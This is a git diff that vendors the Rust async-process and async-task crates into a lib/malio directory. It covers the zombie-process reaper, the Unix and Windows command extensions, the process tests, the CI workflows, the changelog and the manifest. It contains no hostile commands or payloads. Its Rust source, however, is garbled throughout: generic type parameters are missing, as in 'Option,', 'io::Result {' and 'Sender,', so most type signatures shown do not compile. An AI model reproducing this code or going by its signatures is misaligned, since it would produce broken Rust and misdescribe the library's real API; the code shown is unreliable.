struct ChildGuard { + inner: Option, +} + +impl ChildGuard { + /// Get a mutable reference to the inner child. + pub(crate) fn get_mut(&mut self) -> &mut std::process::Child { + self.inner.as_mut().unwrap() + } + + /// Begin the reaping process for this child. + pub(crate) fn reap(&mut self, reaper: &'static Reaper) { + if let Ok(None) = self.get_mut().try_wait() { + reaper + .zombies + .lock() + .unwrap() + .push(self.inner.take().unwrap()); + } + } +} + +/// Waits for the next SIGCHLD signal. +struct Pipe { + /// The iterator over SIGCHLD signals. + signals: Signals, +} + +impl Pipe { + /// Creates a new pipe. + fn new() -> io::Result { + Ok(Pipe { + signals: Signals::new(Some(Signal::Child))?, + }) + } + + /// Waits for the next SIGCHLD signal. + async fn wait(&self) { + (&self.signals).next().await; + } + + /// Register a process object into this pipe. + fn register(&self, _child: &std::process::Child) -> io::Result<()> { + Ok(()) + } +} diff --git a/lib/malio/async-process/src/reaper/wait.rs b/lib/malio/async-process/src/reaper/wait.rs new file mode 100644 index 0000000..5531234 --- /dev/null +++ b/lib/malio/async-process/src/reaper/wait.rs @@ -0,0 +1,227 @@ +//! A version of the reaper that waits on some polling primitive. +//! +//! This uses: +//! +//! - pidfd on Linux +//! - Waitable objects on Windows + +use async_channel::{Receiver, Sender}; +use async_task::Runnable; +use futures_lite::future; + +use std::io; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::Mutex; +use std::task::{Context, Poll}; + +/// The zombie process reaper. +pub(crate) struct Reaper { + /// The channel for sending new runnables. + sender: Sender, + + /// The channel for receiving new runnables. + recv: Receiver, + + /// Number of zombie processes. + zombies: AtomicUsize, +} + +impl Reaper { + /// Create a new reaper. + pub(crate) fn new() -> Self { + let (sender, recv) = async_channel::unbounded(); + Self { + sender, + recv, + zombies: AtomicUsize::new(0), + } + } + + /// Reap zombie processes forever. + pub(crate) async fn reap(&'static self) -> ! { + loop { + // Fetch the next task. + let task = match self.recv.recv().await { + Ok(task) => task, + Err(_) => panic!("sender should never be closed"), + }; + + // Poll the task. + task.run(); + } + } + + /// Register a child into this reaper. + pub(crate) fn register(&'static self, child: std::process::Child) -> io::Result { + Ok(ChildGuard { + inner: Some(WaitableChild::new(child)?), + }) + } + + /// Wait for a child to complete. + pub(crate) async fn status( + &'static self, + child: &Mutex, + ) -> io::Result { + future::poll_fn(|cx| { + // Lock the child. + let mut child = child.lock().unwrap(); + + // Get the inner child value. + #[allow(clippy::infallible_destructuring_match)] // false positive: should respect cfg + let inner = match &mut child.inner { + super::ChildGuard::Wait(inner) => inner, + #[cfg(not(windows))] + _ => unreachable!(), + }; + + // Poll for the next value. + inner.inner.as_mut().unwrap().poll_wait(cx) + }) + .await + } + + /// Do we have any registered zombie processes? + pub(crate) fn has_zombies(&'static self) -> bool { + self.zombies.load(Ordering::SeqCst) > 0 + } +} + +/// The wrapper around the child. +pub(crate) struct ChildGuard { + inner: Option, +} + +impl ChildGuard { + /// Get a mutable reference to the inner child. + pub(crate) fn get_mut(&mut self) -> &mut std::process::Child { + self.inner.as_mut().unwrap().get_mut() + } + + /// Begin the reaping process for this child. + pub(crate) fn reap(&mut self, reaper: &'static Reaper) { + // Create a future for polling this child. + let future = { + let mut inner = self.inner.take().unwrap(); + async move { + // Increment the zombie count. + reaper.zombies.fetch_add(1, Ordering::Relaxed); + + // Decrement the zombie count once we are done. + let _guard = crate::CallOnDrop(|| { + reaper.zombies.fetch_sub(1, Ordering::SeqCst); + }); + + // Wait on this child forever. + let result = future::poll_fn(|cx| inner.poll_wait(cx)).await; + if let Err(_e) = result { + #[cfg(feature = "tracing")] + tracing::error!("error while polling zombie process: {}", _e); + } + } + }; + + // Create a function for scheduling this future. + let schedule = move |runnable| { + reaper.sender.try_send(runnable).ok(); + }; + + // Spawn the task and run it forever. + let (runnable, task) = async_task::spawn(future, schedule); + task.detach(); + runnable.schedule(); + } +} + +cfg_if::cfg_if! { + if #[cfg(target_os = "linux")] { + use async_io::Async; + use rustix::process; + use std::os::unix::io::OwnedFd; + + /// Waitable version of `std::process::Child` + struct WaitableChild { + child: std::process::Child, + handle: Async, + } + + impl WaitableChild { + fn new(child: std::process::Child) -> io::Result { + let pidfd = process::pidfd_open( + process::Pid::from_child(&child), + process::PidfdFlags::empty() + )?; + + Ok(Self { + child, + handle: Async::new(pidfd)? + }) + } + + fn get_mut(&mut self) -> &mut std::process::Child { + &mut self.child + } + + fn poll_wait(&mut self, cx: &mut Context<'_>) -> Poll> { + loop { + if let Some(status) = self.child.try_wait()? { + return Poll::Ready(Ok(status)); + } + + // Wait for us to become readable. + futures_lite::ready!(self.handle.poll_readable(cx))?; + } + } + } + + /// Tell if we are able to use this backend. + pub(crate) fn available() -> bool { + // Create a Pidfd for the current process and see if it works. + let result = process::pidfd_open( + process::getpid(), + process::PidfdFlags::empty() + ); + + // Tell if it was okay or not. + result.is_ok() + } + } else if #[cfg(windows)] { + use async_io::os::windows::Waitable; + + /// Waitable version of `std::process::Child`. + struct WaitableChild { + inner: Waitable, + } + + impl WaitableChild { + fn new(child: std::process::Child) -> io::Result { + Ok(Self { + inner: Waitable::new(child)? + }) + } + + fn get_mut(&mut self) -> &mut std::process::Child { + // SAFETY: We never move the child out. + unsafe { + self.inner.get_mut() + } + } + + fn poll_wait(&mut self, cx: &mut Context<'_>) -> Poll> { + loop { + if let Some(status) = self.get_mut().try_wait()? { + return Poll::Ready(Ok(status)); + } + + // Wait for us to become readable. + futures_lite::ready!(self.inner.poll_ready(cx))?; + } + } + } + + /// Tell if we are able to use this backend. + pub(crate) fn available() -> bool { + true + } + } +} diff --git a/lib/malio/async-process/src/unix.rs b/lib/malio/async-process/src/unix.rs new file mode 100644 index 0000000..7fc16bd --- /dev/null +++ b/lib/malio/async-process/src/unix.rs @@ -0,0 +1,102 @@ +//! Unix-specific extensions. + +use std::ffi::OsStr; +use std::io; +use std::os::unix::process::CommandExt as _; + +use cfg_if::cfg_if; + +use crate::Command; + +cfg_if! { + if #[cfg(any(target_os = "vxworks", target_os = "espidf", target_os = "horizon", target_os = "vita"))] { + type UserId = u16; + type GroupId = u16; + } else if #[cfg(target_os = "nto")] { + // Both IDs are signed, see `sys/target_nto.h` of the QNX Neutrino SDP. + // Only positive values should be used, see e.g. + // https://www.qnx.com/developers/docs/7.1/#com.qnx.doc.neutrino.lib_ref/topic/s/setuid.html + type UserId = i32; + type GroupId = i32; + } else { + type UserId = u32; + type GroupId = u32; + } +} + +/// Unix-specific extensions to the [`Command`] builder. +/// +/// This trait is sealed: it cannot be implemented outside `async-process`. +/// This is so that future additional methods are not breaking changes. +pub trait CommandExt: crate::sealed::Sealed { + /// Sets the child process's user ID. This translates to a + /// `setuid` call in the child process. Failure in the `setuid` + /// call will cause the spawn to fail. + fn uid(&mut self, id: UserId) -> &mut Command; + + /// Similar to `uid`, but sets the group ID of the child process. This has + /// the same semantics as the `uid` field. + fn gid(&mut self, id: GroupId) -> &mut Command; + + /// Performs all the required setup by this `Command`, followed by calling + /// the `execvp` syscall. + /// + /// On success this function will not return, and otherwise it will return + /// an error indicating why the exec (or another part of the setup of the + /// `Command`) failed. + /// + /// `exec` not returning has the same implications as calling + /// [`std::process::exit`] – no destructors on the current stack or any other + /// thread’s stack will be run. Therefore, it is recommended to only call + /// `exec` at a point where it is fine to not run any destructors. Note, + /// that the `execvp` syscall independently guarantees that all memory is + /// freed and all file descriptors with the `CLOEXEC` option (set by default + /// on all file descriptors opened by the standard library) are closed. + /// + /// This function, unlike `spawn`, will **not** `fork` the process to create + /// a new child. Like spawn, however, the default behavior for the stdio + /// descriptors will be to inherited from the current process. + /// + /// # Notes + /// + /// The process may be in a "broken state" if this function returns in + /// error. For example the working directory, environment variables, signal + /// handling settings, various user/group information, or aspects of stdio + /// file descriptors may have changed. If a "transactional spawn" is + /// required to gracefully handle errors it is recommended to use the + /// cross-platform `spawn` instead. + fn exec(&mut self) -> io::Error; + + /// Set executable argument + /// + /// Set the first process argument, `argv[0]`, to something other than the + /// default executable path. + fn arg0(&mut self, arg: S) -> &mut Command + where + S: AsRef; +} + +impl crate::sealed::Sealed for Command {} +impl CommandExt for Command { + fn uid(&mut self, id: UserId) -> &mut Command { + self.inner.uid(id); + self + } + + fn gid(&mut self, id: GroupId) -> &mut Command { + self.inner.gid(id); + self + } + + fn exec(&mut self) -> io::Error { + self.inner.exec() + } + + fn arg0(&mut self, arg: S) -> &mut Command + where + S: AsRef, + { + self.inner.arg0(arg); + self + } +} diff --git a/lib/malio/async-process/src/windows.rs b/lib/malio/async-process/src/windows.rs new file mode 100644 index 0000000..020a290 --- /dev/null +++ b/lib/malio/async-process/src/windows.rs @@ -0,0 +1,45 @@ +//! Windows-specific extensions. + +use std::ffi::OsStr; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::os::windows::process::CommandExt as _; + +use crate::{Child, Command}; + +/// Windows-specific extensions to the [`Command`] builder. +/// +/// This trait is sealed: it cannot be implemented outside `async-process`. +/// This is so that future additional methods are not breaking changes. +pub trait CommandExt: crate::sealed::Sealed { + /// Sets the [process creation flags][1] to be passed to `CreateProcess`. + /// + /// These will always be ORed with `CREATE_UNICODE_ENVIRONMENT`. + /// + /// [1]: https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags + fn creation_flags(&mut self, flags: u32) -> &mut Command; + + /// Append literal text to the command line without any quoting or escaping. + /// + /// This is useful for passing arguments to `cmd.exe /c`, which doesn't follow + /// `CommandLineToArgvW` escaping rules. + fn raw_arg>(&mut self, text_to_append_as_is: S) -> &mut Command; +} + +impl crate::sealed::Sealed for Command {} +impl CommandExt for Command { + fn creation_flags(&mut self, flags: u32) -> &mut Command { + self.inner.creation_flags(flags); + self + } + + fn raw_arg>(&mut self, text_to_append_as_is: S) -> &mut Command { + self.inner.raw_arg(text_to_append_as_is); + self + } +} + +impl AsRawHandle for Child { + fn as_raw_handle(&self) -> RawHandle { + self.child.lock().unwrap().get_mut().as_raw_handle() + } +} diff --git a/lib/malio/async-process/tests/sleep.rs b/lib/malio/async-process/tests/sleep.rs new file mode 100644 index 0000000..44eea4e --- /dev/null +++ b/lib/malio/async-process/tests/sleep.rs @@ -0,0 +1,26 @@ +//! Sleep test. + +use async_process::Command; +use futures_lite::future::block_on; + +#[cfg(unix)] +#[test] +fn unix_sleep() { + block_on(async { + let status = Command::new("sleep").arg("1").status().await.unwrap(); + assert!(status.success()); + }); +} + +#[cfg(windows)] +#[test] +fn windows_sleep() { + block_on(async { + let status = Command::new("ping") + .args(["-n", "5", "127.0.0.1"]) + .status() + .await + .unwrap(); + assert!(status.success()); + }); +} diff --git a/lib/malio/async-process/tests/std.rs b/lib/malio/async-process/tests/std.rs new file mode 100644 index 0000000..ce781d1 --- /dev/null +++ b/lib/malio/async-process/tests/std.rs @@ -0,0 +1,481 @@ +//! These tests are borrowed from the `std::process` test suite. + +use std::env; +use std::io; +use std::str; + +use async_process::{Command, Output, Stdio}; +use futures_lite::{future, prelude::*}; + +#[test] +fn smoke() { + future::block_on(async { + let p = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 0"]).spawn() + } else { + Command::new("true").spawn() + }; + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.status().await.unwrap().success()); + }) +} + +#[test] +fn smoke_driven() { + future::block_on( + async { + async_process::driver().await; + } + .or(async { + let p = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 0"]).spawn() + } else { + Command::new("true").spawn() + }; + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.status().await.unwrap().success()); + }), + ) +} + +#[test] +fn smoke_failure() { + assert!(Command::new("if-this-is-a-binary-then-the-world-has-ended") + .spawn() + .is_err()); +} + +#[test] +fn exit_reported_right() { + future::block_on(async { + let p = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 1"]).spawn() + } else { + Command::new("false").spawn() + }; + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.status().await.unwrap().code() == Some(1)); + drop(p.status().await); + }) +} + +#[test] +#[cfg(unix)] +fn signal_reported_right() { + use std::os::unix::process::ExitStatusExt; + + future::block_on(async { + let mut p = Command::new("/bin/sh") + .arg("-c") + .arg("read a") + .stdin(Stdio::piped()) + .spawn() + .unwrap(); + p.kill().unwrap(); + match p.status().await.unwrap().signal() { + Some(9) => {} + result => panic!("not terminated by signal 9 (instead, {result:?})"), + } + }) +} + +pub async fn run_output(mut cmd: Command) -> String { + let p = cmd.spawn(); + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.stdout.is_some()); + let mut ret = String::new(); + p.stdout + .as_mut() + .unwrap() + .read_to_string(&mut ret) + .await + .unwrap(); + assert!(p.status().await.unwrap().success()); + ret +} + +#[test] +fn stdout_works() { + future::block_on(async { + if cfg!(target_os = "windows") { + let mut cmd = Command::new("cmd"); + cmd.args(["/C", "echo foobar"]).stdout(Stdio::piped()); + assert_eq!(run_output(cmd).await, "foobar\r\n"); + } else { + let mut cmd = Command::new("echo"); + cmd.arg("foobar").stdout(Stdio::piped()); + assert_eq!(run_output(cmd).await, "foobar\n"); + } + }) +} + +#[test] +#[cfg_attr(windows, ignore)] +fn set_current_dir_works() { + future::block_on(async { + let mut cmd = Command::new("/bin/sh"); + cmd.arg("-c") + .arg("pwd") + .current_dir("/") + .stdout(Stdio::piped()); + assert_eq!(run_output(cmd).await, "/\n"); + }) +} + +#[test] +#[cfg_attr(windows, ignore)] +fn stdin_works() { + future::block_on(async { + let mut p = Command::new("/bin/sh") + .arg("-c") + .arg("read line; echo $line") + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .spawn() + .unwrap(); + p.stdin + .as_mut() + .unwrap() + .write("foobar".as_bytes()) + .await + .unwrap(); + drop(p.stdin.take()); + let mut out = String::new(); + p.stdout + .as_mut() + .unwrap() + .read_to_string(&mut out) + .await + .unwrap(); + assert!(p.status().await.unwrap().success()); + assert_eq!(out, "foobar\n"); + }) +} + +#[test] +fn test_process_status() { + future::block_on(async { + let mut status = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "exit 1"]) + .status() + .await + .unwrap() + } else { + Command::new("false").status().await.unwrap() + }; + assert!(status.code() == Some(1)); + + status = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "exit 0"]) + .status() + .await + .unwrap() + } else { + Command::new("true").status().await.unwrap() + }; + assert!(status.success()); + }) +} + +#[test] +fn test_process_output_fail_to_start() { + future::block_on(async { + match Command::new("/no-binary-by-this-name-should-exist") + .output() + .await + { + Err(e) => assert_eq!(e.kind(), io::ErrorKind::NotFound), + Ok(..) => panic!(), + } + }) +} + +#[test] +fn test_process_output_output() { + future::block_on(async { + let Output { + status, + stdout, + stderr, + } = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "echo hello"]) + .output() + .await + .unwrap() + } else { + Command::new("echo").arg("hello").output().await.unwrap() + }; + let output_str = str::from_utf8(&stdout).unwrap(); + + assert!(status.success()); + assert_eq!(output_str.trim().to_string(), "hello"); + assert_eq!(stderr, Vec::new()); + }) +} + +#[test] +fn test_process_output_error() { + future::block_on(async { + let Output { + status, + stdout, + stderr, + } = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "mkdir ."]) + .output() + .await + .unwrap() + } else { + Command::new("mkdir").arg("./").output().await.unwrap() + }; + + assert!(status.code() == Some(1)); + assert_eq!(stdout, Vec::new()); + assert!(!stderr.is_empty()); + }) +} + +#[test] +fn test_finish_once() { + future::block_on(async { + let mut prog = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 1"]).spawn().unwrap() + } else { + Command::new("false").spawn().unwrap() + }; + assert!(prog.status().await.unwrap().code() == Some(1)); + }) +} + +#[test] +fn test_finish_twice() { + future::block_on(async { + let mut prog = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 1"]).spawn().unwrap() + } else { + Command::new("false").spawn().unwrap() + }; + assert!(prog.status().await.unwrap().code() == Some(1)); + assert!(prog.status().await.unwrap().code() == Some(1)); + }) +} + +#[test] +fn test_wait_with_output_once() { + future::block_on(async { + let prog = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "echo hello"]) + .stdout(Stdio::piped()) + .spawn() + .unwrap() + } else { + Command::new("echo") + .arg("hello") + .stdout(Stdio::piped()) + .spawn() + .unwrap() + }; + + let Output { + status, + stdout, + stderr, + } = prog.output().await.unwrap(); + let output_str = str::from_utf8(&stdout).unwrap(); + + assert!(status.success()); + assert_eq!(output_str.trim().to_string(), "hello"); + assert_eq!(stderr, Vec::new()); + }) +} + +#[cfg(all(unix, not(target_os = "android")))] +pub fn env_cmd() -> Command { + Command::new("env") +} + +#[cfg(target_os = "android")] +pub fn env_cmd() -> Command { + let mut cmd = Command::new("/system/bin/sh"); + cmd.arg("-c").arg("set"); + cmd +} + +#[cfg(windows)] +pub fn env_cmd() -> Command { + let mut cmd = Command::new("cmd"); + cmd.arg("/c").arg("set"); + cmd +} + +#[test] +fn test_override_env() { + future::block_on(async { + // In some build environments (such as chrooted Nix builds), `env` can + // only be found in the explicitly-provided PATH env variable, not in + // default places such as /bin or /usr/bin. So we need to pass through + // PATH to our sub-process. + let mut cmd = env_cmd(); + cmd.env_clear().env("RUN_TEST_NEW_ENV", "123"); + if let Some(p) = env::var_os("PATH") { + cmd.env("PATH", p); + } + let result = cmd.output().await.unwrap(); + let output = String::from_utf8_lossy(&result.stdout).to_string(); + + assert!( + output.contains("RUN_TEST_NEW_ENV=123"), + "didn't find RUN_TEST_NEW_ENV inside of:\n\n{output}" + ); + }) +} + +#[test] +fn test_add_to_env() { + future::block_on(async { + let result = env_cmd() + .env("RUN_TEST_NEW_ENV", "123") + .output() + .await + .unwrap(); + let output = String::from_utf8_lossy(&result.stdout).to_string(); + + assert!( + output.contains("RUN_TEST_NEW_ENV=123"), + "didn't find RUN_TEST_NEW_ENV inside of:\n\n{output}" + ); + }) +} + +#[test] +fn test_capture_env_at_spawn() { + future::block_on(async { + let mut cmd = env_cmd(); + cmd.env("RUN_TEST_NEW_ENV1", "123"); + + // This variable will not be present if the environment has already + // been captured above. + env::set_var("RUN_TEST_NEW_ENV2", "456"); + let result = cmd.output().await.unwrap(); + env::remove_var("RUN_TEST_NEW_ENV2"); + + let output = String::from_utf8_lossy(&result.stdout).to_string(); + + assert!( + output.contains("RUN_TEST_NEW_ENV1=123"), + "didn't find RUN_TEST_NEW_ENV1 inside of:\n\n{output}" + ); + assert!( + output.contains("RUN_TEST_NEW_ENV2=456"), + "didn't find RUN_TEST_NEW_ENV2 inside of:\n\n{output}" + ); + }) +} + +#[test] +#[cfg(unix)] +fn child_status_preserved_with_kill_on_drop() { + future::block_on(async { + let p = Command::new("true").kill_on_drop(true).spawn().unwrap(); + + // Calling output, since it takes ownership of the child + // Child::status would work, but without special care, + // dropping p inside of output would kill the subprocess early, + // and report the wrong exit status + let res = p.output().await; + assert!(res.unwrap().status.success()); + }) +} + +#[test] +#[cfg(windows)] +fn child_as_raw_handle() { + use std::os::windows::io::AsRawHandle; + use windows_sys::Win32::System::Threading::GetProcessId; + + future::block_on(async { + let p = Command::new("cmd.exe") + .arg("/C") + .arg("pause") + .kill_on_drop(true) + .spawn() + .unwrap(); + + let std_pid = p.id(); + assert!(std_pid > 0); + + let handle = p.as_raw_handle(); + + // We verify that we have the correct handle by obtaining the PID + // with the Windows API rather than via std: + let win_pid = unsafe { GetProcessId(handle as _) }; + assert_eq!(win_pid, std_pid); + }) +} + +#[test] +#[cfg(unix)] +fn test_spawn_multiple_with_stdio() { + let mut cmd = Command::new("/bin/sh"); + cmd.arg("-c") + .arg("echo foo; echo bar 1>&2") + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + future::block_on(async move { + let p1 = cmd.spawn().unwrap(); + let out1 = p1.output().await.unwrap(); + assert_eq!(out1.stdout, b"foo\n"); + assert_eq!(out1.stderr, b"bar\n"); + + let p2 = cmd.spawn().unwrap(); + let out2 = p2.output().await.unwrap(); + assert_eq!(out2.stdout, b"foo\n"); + assert_eq!(out2.stderr, b"bar\n"); + }); +} + +#[cfg(unix)] +#[test] +fn test_into_inner() { + futures_lite::future::block_on(async { + use crate::Command; + + use std::io::Result; + use std::process::Stdio; + use std::str::from_utf8; + + use futures_lite::AsyncReadExt; + + let mut ls_child = Command::new("cat") + .arg("Cargo.toml") + .stdout(Stdio::piped()) + .spawn()?; + + let stdio: Stdio = ls_child.stdout.take().unwrap().into_stdio().await?; + + let mut echo_child = Command::new("grep") + .arg("async") + .stdin(stdio) + .stdout(Stdio::piped()) + .spawn()?; + + let mut buf = vec![]; + let mut stdout = echo_child.stdout.take().unwrap(); + + stdout.read_to_end(&mut buf).await?; + dbg!(from_utf8(&buf).unwrap_or("")); + + Result::Ok(()) + }) + .unwrap(); +} diff --git a/lib/malio/async-task/.github/dependabot.yml b/lib/malio/async-task/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-task/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-task/.github/workflows/ci.yml b/lib/malio/async-task/.github/workflows/ci.yml new file mode 100644 index 0000000..db6437a --- /dev/null +++ b/lib/malio/async-task/.github/workflows/ci.yml @@ -0,0 +1,99 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + bench: false # We run clippy using stable rustc, but our benchmarks use #![feature(test)]. + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: taiki-e/checkout-action@v1 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add thumbv7m-none-eabi + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - name: Install valgrind + uses: taiki-e/install-action@valgrind + - run: cargo build --all --all-features --all-targets + if: startsWith(matrix.rust, 'nightly') + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo hack build --feature-powerset --no-dev-deps --target thumbv7m-none-eabi --skip std,default + - run: cargo test + - name: Run cargo test (with valgrind) + run: cargo test -- --test-threads=1 + env: + # TODO: ignore possible and reachable leaks due to upstream issue (https://github.com/rust-lang/rust/issues/135608) + CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_RUNNER: valgrind -v --error-exitcode=1 --error-limit=no --leak-check=full --show-leak-kinds=definite,indirect --errors-for-leak-kinds=definite,indirect --track-origins=yes --fair-sched=yes --gen-suppressions=all + - name: Run cargo test (with portable-atomic enabled) + run: cargo test --features portable-atomic + - name: Clone async-executor + run: git clone https://github.com/smol-rs/async-executor.git + - name: Add patch section + run: | + echo '[patch.crates-io]' >> async-executor/Cargo.toml + echo 'async-task = { path = ".." }' >> async-executor/Cargo.toml + - name: Test async-executor + run: cargo test --manifest-path async-executor/Cargo.toml + + msrv: + runs-on: ubuntu-latest + steps: + - uses: taiki-e/checkout-action@v1 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --feature-powerset --no-dev-deps --rust-version + + miri: + runs-on: ubuntu-latest + steps: + - uses: taiki-e/checkout-action@v1 + - name: Install Rust + run: rustup toolchain install nightly --component miri && rustup default nightly + - run: cargo miri test + env: + # -Zmiri-ignore-leaks is needed because we use detached threads in doctests: https://github.com/rust-lang/miri/issues/1371 + # disable preemption due to https://github.com/rust-lang/rust/issues/55005 + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation -Zmiri-ignore-leaks -Zmiri-preemption-rate=0 + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout diff --git a/lib/malio/async-task/.github/workflows/release.yml b/lib/malio/async-task/.github/workflows/release.yml new file mode 100644 index 0000000..62438bc --- /dev/null +++ b/lib/malio/async-task/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: taiki-e/checkout-action@v1 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-task/.gitignore b/lib/malio/async-task/.gitignore new file mode 100644 index 0000000..6936990 --- /dev/null +++ b/lib/malio/async-task/.gitignore @@ -0,0 +1,3 @@ +/target +**/*.rs.bk +Cargo.lock diff --git a/lib/malio/async-task/CHANGELOG.md b/lib/malio/async-task/CHANGELOG.md new file mode 100644 index 0000000..0324dca --- /dev/null +++ b/lib/malio/async-task/CHANGELOG.md @@ -0,0 +1,112 @@ +# Version 4.7.1 + +- Improve the panic message for when a task is polled after completion. (#73) + +# Version 4.7.0 + +- Add `from_raw` and `into_raw` functions for `Runnable` to ease passing it + across an FFI boundary. (#65) + +# Version 4.6.0 + +- Bump MSRV to 1.57. (#63) +- Task layout computation failures are now a compile-time error instead of a + runtime abort. (#63) + +# Version 4.5.0 + +- Add a `portable-atomic` feature that enables the usage of fallback primitives for CPUs without atomics. (#58) + +# Version 4.4.1 + +- Clarify safety documentation for `spawn_unchecked`. (#49) + +# Version 4.4.0 + +- Ensure that the allocation doesn't exceed `isize::MAX` (#32) +- Add `FallibleTask::is_finished()` (#34) +- Add a metadata generic parameter to tasks (#33) +- Add panic propagation to tasks (#37) +- Add a way to tell if the task was woken while running from the schedule function (#42) + +# Version 4.3.0 + +- Bump MSRV to Rust 1.47. (#30) +- Evaluate the layouts for the tasks at compile time. (#30) +- Add layout_info field to TaskVTable so that debuggers can decode raw tasks. (#29) + +# Version 4.2.0 + +- Add `Task::is_finished`. (#19) + +# Version 4.1.0 + +- Add `FallibleTask`. (#21) + +# Version 4.0.3 + +- Document the return value of `Runnable::run()` better. + +# Version 4.0.2 + +- Nits in the docs. + +# Version 4.0.1 + +- Nits in the docs. + +# Version 4.0.0 + +- Rename `Task` to `Runnable`. +- Rename `JoinHandle` to `Task`. +- Cancel `Task` on drop. +- Add `Task::detach()` and `Task::cancel()`. +- Add `spawn_unchecked()`. + +# Version 3.0.0 + +- Use `ThreadId` in `spawn_local` because OS-provided IDs can get recycled. +- Add `std` feature to `Cargo.toml`. + +# Version 2.1.1 + +- Allocate large futures on the heap. + +# Version 2.1.0 + +- `JoinHandle` now only evaluates after the task's future has been dropped. + +# Version 2.0.0 + +- Return `true` in `Task::run()`. + +# Version 1.3.1 + +- Make `spawn_local` available only on unix and windows. + +# Version 1.3.0 + +- Add `waker_fn`. + +# Version 1.2.1 + +- Add the `no-std` category to the package. + +# Version 1.2.0 + +- The crate is now marked with `#![no_std]`. +- Add `Task::waker` and `JoinHandle::waker`. +- Add `Task::into_raw` and `Task::from_raw`. + +# Version 1.1.1 + +- Fix a use-after-free bug where the schedule function is dropped while running. + +# Version 1.1.0 + +- If a task is dropped or canceled outside the `run` method, it gets re-scheduled. +- Add `spawn_local` constructor. + +# Version 1.0.0 + +- Initial release diff --git a/lib/malio/async-task/Cargo.toml b/lib/malio/async-task/Cargo.toml new file mode 100644 index 0000000..1d5b092 --- /dev/null +++ b/lib/malio/async-task/Cargo.toml @@ -0,0 +1,37 @@ +[package] +name = "async-task" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v4.x.y" git tag +version = "4.7.1" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.57" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-task" +description = "Task abstraction for building executors" +keywords = ["futures", "task", "executor", "spawn"] +categories = ["asynchronous", "concurrency", "no-std"] +exclude = ["/.*"] + +[features] +default = ["std"] +std = [] + +[dependencies] +# Uses portable-atomic polyfill atomics on targets without them +portable-atomic = { version = "1", optional = true, default-features = false } + +[dev-dependencies] +atomic-waker = "1" +easy-parallel = "3" +flaky_test = "0.2" +flume = { version = "0.12", default-features = false } +futures-lite = "2.0.0" +once_cell = "1" +pin-project-lite = "0.2.10" +smol = "2" + +# rewrite dependencies to use this version of async-task when running tests +[patch.crates-io] +async-task = { path = "." } diff --git a/lib/malio/async-task/LICENSE-APACHE b/lib/malio/async-task/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-task/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or 